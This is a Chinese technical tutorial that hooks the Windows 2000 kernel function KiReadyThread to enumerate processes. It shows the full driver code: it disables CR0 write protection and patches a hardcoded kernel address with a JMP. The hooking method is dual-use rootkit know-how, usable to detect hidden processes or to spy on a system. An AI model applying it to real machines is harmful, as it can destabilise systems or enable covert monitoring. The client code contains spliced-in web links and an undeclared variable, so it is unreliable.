都是写在C文件里面的。例如Hook的目标函数KiReadyThread。<br>那么一般就自己实现一个：<br>MyKiReadyThread（...）<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;......<br>&nbsp;&nbsp;&nbsp;&nbsp;call KiReadyThread<br>&nbsp;&nbsp;&nbsp;&nbsp;......<br>}<br>但是用C编译器编译出来的代码会出现一个堆栈帧: <br>Push ebp<br>mov&nbsp;&nbsp;ebp,esp<br>这就和我们的初衷不改变寄存器的数违背了。所以我们可以自己用汇编来实现MyKiReadyThread。<br><br>_func@0 proc<br>&nbsp;&nbsp;&nbsp;&nbsp;pushad&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;保存通用寄存器<br>&nbsp;&nbsp;&nbsp;&nbsp;call _cfunc@0&nbsp;&nbsp;;这里是在进入原来函数前进行的一些处理。<br>&nbsp;&nbsp;&nbsp;&nbsp;popad&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;恢复通用寄存器<br>&nbsp;&nbsp;&nbsp;&nbsp;push eax&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;mov eax,[esp+4] ;得到系统在call 目标函数时入栈的返回地址。<br>&nbsp;&nbsp;&nbsp;&nbsp;mov ds:_OrgRet,eax ;保存在一个临时变量中<br>&nbsp;&nbsp;&nbsp;&nbsp;pop eax<br>&nbsp;&nbsp;&nbsp;&nbsp;mov [esp],retaddr&nbsp;&nbsp;;把目标函数的返回地址改成自己的代码空间的返回地址，使其返回&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;后能接手继续的处理<br>&nbsp;&nbsp;&nbsp;&nbsp;jmp _OrgDestFunction ;跳到原目标函数中<br>retaddr:<br>&nbsp;&nbsp;&nbsp;&nbsp;pushad&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;原函数处理完后保存寄存器<br>&nbsp;&nbsp;&nbsp;&nbsp;call _HookDestFunction@0 ;再处理<br>&nbsp;&nbsp;&nbsp;&nbsp;popad&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;回复寄存器<br>&nbsp;&nbsp;&nbsp;&nbsp;jmp ds:_OrgRet ;跳到系统调用目标函数的下一条指令。<br>_func@0 endp<br><br>当我们要拦截目标API的时候，只要修改原函数头5个字节的机器为一个JMP _func就行了。<br>然后把原来的5字节保存。在跳入原函数时，恢复那5个字节即可。<br><br>Hook KiReadyThread检测系统中的进程：<br>在线程调度抢占的的时候会调用KiReadyThread，它的原型为<br>VOID FASTCALL KiReadyThread (IN PRKTHREAD Thread)<br>在进入KiReadyThread时，ecx指向Thread。<br>所以完全可以Hook KiReadyThread 然后用ecx的值得到但前线程的进程信息。<br>KiReadyThread没被ntosknrl.exe导出，所以通过硬编码来。在2000Sp4中地址为0x8043141f<br><br>具体实现：<br>////////////////////////////////<br>// 1.cpp<br>////////////////////////////////<br>#ifdef __cplusplus<br>extern "C" {<br>#endif <br><br>#include "ntddk.h"<br>#include "string.h"<br>#include "ntifs.h"<br>#include "stdio.h"<br><br>#define FILE_DEVICE_EVENT&nbsp;&nbsp;0x8000<br><br>#define IOCTL_PASSBUF \<br>&nbsp;&nbsp;&nbsp;&nbsp;CTL_CODE(FILE_DEVICE_EVENT, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)<br><br>void DriverUnload (IN PDRIVER_OBJECT pDriverObject);<br><br>NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath);<br><br>void cfunc ();<br><br>void HookDestFunction();<br>NTSTATUS DeviceIoControlDispatch(IN&nbsp;&nbsp;PDEVICE_OBJECT&nbsp;&nbsp;DeviceObject,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN&nbsp;&nbsp;PIRP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pIrp);<br>extern void func();<br><br>void ResumeDestFunction();<br><br>const WCHAR devLink[]&nbsp;&nbsp;= L"\\??\\MyEvent";<br>const WCHAR devName[]&nbsp;&nbsp;= L"\\Device\\MyEvent";<br>UNICODE_STRING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;devNameUnicd;<br>UNICODE_STRING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;devLinkUnicd;&nbsp;&nbsp;&nbsp;&nbsp;<br><br>ULONG OrgDestFunction = (ULONG)0x8043141f; //KiReadyThread<br><br>char JmpMyCode [] = {0xE9,0x00,0x00,0x00,0x00};<br>char OrgCode [5];<br><br>char OutBuf[128][16];<br><br>int Count = 0;<br><br>ULONG orgcr0;<br>#ifdef __cplusplus<br>}<br>#endif<br><br>VOID DisableWriteProtect( PULONG pOldAttr)<br>{<br><br>&nbsp;&nbsp;&nbsp;&nbsp; ULONG uAttr;<br><br>&nbsp;&nbsp;&nbsp;&nbsp; _asm<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;push eax;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;eax, cr0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;uAttr, eax;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and&nbsp;&nbsp;eax, 0FFFEFFFFh; // CR0 16 BIT = 0<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;cr0, eax;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pop&nbsp;&nbsp;eax;<br>&nbsp;&nbsp;&nbsp;&nbsp;};<br><br>&nbsp;&nbsp;&nbsp;&nbsp; *pOldAttr = uAttr; //保存原有的 CRO 属性<br><br>}<br><br>VOID EnableWriteProtect( ULONG uOldAttr )<br>{<br><br>&nbsp;&nbsp;_asm<br>&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; push eax;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;eax, uOldAttr; //恢复原有 CR0 属性<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mov&nbsp;&nbsp;cr0, eax;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pop&nbsp;&nbsp;eax;<br>&nbsp;&nbsp;};<br><br>}<br><br>NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;NTSTATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Status;<br>&nbsp;&nbsp;&nbsp;&nbsp;PDEVICE_OBJECT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pDevice;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("DriverEntry called!\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;RtlInitUnicodeString (&amp;devNameUnicd, devName );<br>&nbsp;&nbsp;&nbsp;&nbsp;RtlInitUnicodeString (&amp;devLinkUnicd, devLink );<br>&nbsp;&nbsp;&nbsp;&nbsp;Status = IoCreateDevice ( pDriverObject,<br>&nbsp;&nbsp;&nbsp;&nbsp;0,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;devNameUnicd,<br>&nbsp;&nbsp;&nbsp;&nbsp;FILE_DEVICE_UNKNOWN,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TRUE,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;pDevice );<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( !NT_SUCCESS(Status)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint(("Can not create device.\n"));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return Status;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Status = IoCreateSymbolicLink (&amp;devLinkUnicd, &amp;devNameUnicd);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if( !NT_SUCCESS(Status)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DbgPrint(("Cannot create link.\n"));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return Status;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pDriverObject-&gt;DriverUnload&nbsp;&nbsp;= DriverUnload; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pDriverObject-&gt;MajorFunction[IRP_MJ_CREATE] = <br>&nbsp;&nbsp;&nbsp;&nbsp;pDriverObject-&gt;MajorFunction[IRP_MJ_CLOSE] =<br>&nbsp;&nbsp;&nbsp;&nbsp;pDriverObject-&gt;MajorFunction[IRP_MJ_DEVICE_CONTROL] =&nbsp;&nbsp;&nbsp;&nbsp;DeviceIoControlDispatch;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;pDriverObject-&gt;DriverUnload = DriverUnload;<br>&nbsp;&nbsp;&nbsp;&nbsp;* ( (ULONG*) (JmpMyCode+1) ) = (ULONG)func - (ULONG)OrgDestFunction - 5;<br>&nbsp;&nbsp;&nbsp;&nbsp;memcpy(OrgCode,(char*)OrgDestFunction,5);<br>&nbsp;&nbsp;&nbsp;&nbsp;HookDestFunction();<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;return STATUS_SUCCESS;<br>}<br><br>void DriverUnload (IN PDRIVER_OBJECT pDriverObject)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;NTSTATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;status;<br>&nbsp;&nbsp;&nbsp;&nbsp;ResumeDestFunction();<br>&nbsp;&nbsp;&nbsp;&nbsp;if(pDriverObject-&gt;DeviceObject != NULL)<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; status=IoDeleteSymbolicLink( &amp;devLinkUnicd );<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ( !NT_SUCCESS( status ) )<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint((&nbsp;&nbsp;"IoDeleteSymbolicLink() failed\n" ));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IoDeleteDevice( pDriverObject-&gt;DeviceObject );<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br><br>void DisplayName(PKTHREAD Thread)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;PKPROCESS Process = Thread-&gt;ApcState.Process;<br>&nbsp;&nbsp;&nbsp;&nbsp;PEPROCESS pEprocess = (PEPROCESS)Process;<br>&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("ImageFileName = %s \n",pEprocess-&gt;ImageFileName);<br>&nbsp;&nbsp;&nbsp;&nbsp;sprintf(OutBuf[Count++],"%s",pEprocess-&gt;ImageFileName);<br>}<br><br>void cfunc (void)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG PKHeader=0;<br>&nbsp;&nbsp;&nbsp;&nbsp;__asm<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mov PKHeader,ecx&nbsp;&nbsp;//ecx寄存器是KiReadyThread中的PRKTHREAD参数<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;ResumeDestFunction();<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;if ( PKHeader != 0 &amp;&amp; Count &lt; 128 )<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DisplayName((PKTHREAD)PKHeader);&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;<br>}<br><br>void HookDestFunction()<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;DisableWriteProtect(&amp;orgcr0);<br>&nbsp;&nbsp;&nbsp;&nbsp;memcpy((char*)OrgDestFunction,JmpMyCode,5);<br>&nbsp;&nbsp;&nbsp;&nbsp;EnableWriteProtect(orgcr0);&nbsp;&nbsp;&nbsp;&nbsp;<br>}<br><br>void ResumeDestFunction()<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;DisableWriteProtect(&amp;orgcr0);<br>&nbsp;&nbsp;&nbsp;&nbsp;memcpy((char*)OrgDestFunction,OrgCode,5);<br>&nbsp;&nbsp;&nbsp;&nbsp;EnableWriteProtect(orgcr0);<br>}<br><br>NTSTATUS DeviceIoControlDispatch(<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN&nbsp;&nbsp;PDEVICE_OBJECT&nbsp;&nbsp;DeviceObject,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IN&nbsp;&nbsp;PIRP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pIrp<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;PIO_STACK_LOCATION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;irpStack;<br>&nbsp;&nbsp;&nbsp;&nbsp;NTSTATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;status;<br>&nbsp;&nbsp;&nbsp;&nbsp;PVOID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inputBuffer;<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inputLength;<br>&nbsp;&nbsp;&nbsp;&nbsp;PVOID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; outputBuffer;<br>&nbsp;&nbsp;&nbsp;&nbsp;ULONG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; outputLength;<br>&nbsp;&nbsp;&nbsp;&nbsp;OBJECT_HANDLE_INFORMATION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; objHandleInfo;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;status = STATUS_SUCCESS;<br>&nbsp;&nbsp;&nbsp;&nbsp;// 取出IOCTL请求代码<br>&nbsp;&nbsp;&nbsp;&nbsp;irpStack = IoGetCurrentIrpStackLocation(pIrp);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;switch (irpStack-&gt;MajorFunction)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;case IRP_MJ_CREATE :<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("Call IRP_MJ_CREATE\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;case IRP_MJ_CLOSE:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("Call IRP_MJ_CLOSE\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;case IRP_MJ_DEVICE_CONTROL:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("IRP_MJ_DEVICE_CONTROL\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;inputLength=irpStack-&gt;Parameters.DeviceIoControl.InputBufferLength;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;outputLength=irpStack-&gt;Parameters.DeviceIoControl.OutputBufferLength;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch (irpStack-&gt;Parameters.DeviceIoControl.IoControlCode) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case&nbsp;&nbsp;&nbsp;&nbsp;IOCTL_PASSBUF:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RtlCopyMemory(pIrp-&gt;UserBuffer, OutBuf, 20*16);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(OutBuf,0,128*16);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Count = 0;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;default:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;default:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DbgPrint("Call IRP_MJ_UNKNOWN\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;pIrp-&gt;IoStatus.Status = status; <br>&nbsp;&nbsp;&nbsp;&nbsp;pIrp-&gt;IoStatus.Information = 0; <br>&nbsp;&nbsp;&nbsp;&nbsp;IoCompleteRequest (pIrp, IO_NO_INCREMENT);<br>&nbsp;&nbsp;&nbsp;&nbsp;return status;<br>}<br><br>////////////////////////////////<br>// 1.asm<br>////////////////////////////////<br>.386<br>.model small<br><br>.data<br>_OrgRet dd 0<br><br>.code<br>public _func@0<br>extrn _cfunc@0:near<br>extrn _HookDestFunction@0:near<br>extrn _OrgDestFunction:DWORD<br><br>_func@0 proc<br>&nbsp;&nbsp;&nbsp;&nbsp;pushad<br>&nbsp;&nbsp;&nbsp;&nbsp;call _cfunc@0<br>&nbsp;&nbsp;&nbsp;&nbsp;popad<br>&nbsp;&nbsp;&nbsp;&nbsp;push eax<br>&nbsp;&nbsp;&nbsp;&nbsp;mov eax,[esp+4]<br>&nbsp;&nbsp;&nbsp;&nbsp;mov ds:_OrgRet,eax<br>&nbsp;&nbsp;&nbsp;&nbsp;pop eax<br>&nbsp;&nbsp;&nbsp;&nbsp;mov [esp],retaddr<br>&nbsp;&nbsp;&nbsp;&nbsp;jmp _OrgDestFunction<br>retaddr:<br>&nbsp;&nbsp;&nbsp;&nbsp;pushad<br>&nbsp;&nbsp;&nbsp;&nbsp;call _HookDestFunction@0<br>&nbsp;&nbsp;&nbsp;&nbsp;popad<br>&nbsp;&nbsp;&nbsp;&nbsp;jmp ds:_OrgRet<br>_func@0 endp<br>END<br><br>//////////////////////////////////////////<br>// app.cpp<br>//////////////////////////////////////////<br><br>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>#define FILE_DEVICE_EVENT&nbsp;&nbsp;0x8000<br>#define CTL_CODE( DeviceType, Function, Method, <a href="http://www.hacker.cn/Get/AccessDB2/index.shtml" target="_blank">Access</a> ) (&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \<br><br>&nbsp;&nbsp;&nbsp;&nbsp;((DeviceType) &lt;&lt; 16) | ((<a href="http://www.hacker.cn/Get/AccessDB2/index.shtml" target="_blank">Access</a>) &lt;&lt; 14) | ((Function) &lt;&lt; 2) | (Method) \<br>)<br><br>#define FILE_ANY_ACCESS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0<br>#define METHOD_BUFFERED&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0<br>#define FILE_DEVICE_UNKNOWN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x00000022<br><br>#define IOCTL_PASSBUF \<br>&nbsp;&nbsp;&nbsp;&nbsp;CTL_CODE(FILE_DEVICE_EVENT, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)<br><br>int main()<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HANDLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hDevice;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bool&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;status; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ULONG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwReturn;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;outbuf[129][16];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hDevice = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m_hCommEvent = NULL;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hDevice = CreateFile( "\\\\.\\MyEvent",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GENERIC_READ|GENERIC_WRITE,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FILE_SHARE_READ | FILE_SHARE_WRITE, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OPEN_EXISTING, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FILE_ATTRIBUTE_NORMAL, 